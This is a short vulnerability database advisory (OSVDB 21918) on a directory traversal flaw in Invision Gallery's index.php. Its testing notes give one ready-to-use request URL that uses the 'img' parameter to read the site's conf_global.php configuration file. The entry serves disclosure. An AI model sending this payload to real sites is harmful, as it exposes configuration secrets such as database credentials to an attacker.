Invision Gallery index.php img Variable Traversal Arbitrary File Access

2005-12-04T02:29:25
ID OSVDB:21918
Type osvdb
Reporter xPow(xpow@ivdb.org)
Modified 2005-12-04T02:29:25

Description

Manual Testing Notes

/index.php?act=module&module=gallery&cmd=viewimage&img=/../../../conf_global.php&file_type=image/jpeg&tn=1&dir=1127508869/

References:

Vendor URL: http://www.invisionpower.com/ip.dynamic/products/gallery/index.html